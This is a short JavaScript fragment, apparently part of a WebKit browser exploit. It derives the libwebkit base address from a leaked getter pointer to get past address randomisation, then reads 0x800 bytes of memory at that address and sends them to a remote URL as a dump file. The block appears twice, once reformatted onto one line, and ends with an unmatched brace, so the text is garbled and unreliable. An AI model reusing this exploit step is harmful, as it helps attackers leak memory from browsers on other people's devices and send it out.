const libwebkit_base = find_base(getter, true, true);
const offset = getter.sub(libwebkit_base);
send(
url,
make_buffer(getter, 0x800),
`scrollLeft_getter_dump_offset_${offset}.bin`,
() => log('sent')
);
const libwebkit_base = find_base(getter, true, true);
const offset = getter.sub(libwebkit_base);
send(url, make_buffer(getter, 0x800), `scrollLeft_getter_dump_offset_${offset}.bin`, () => log("sent"));
}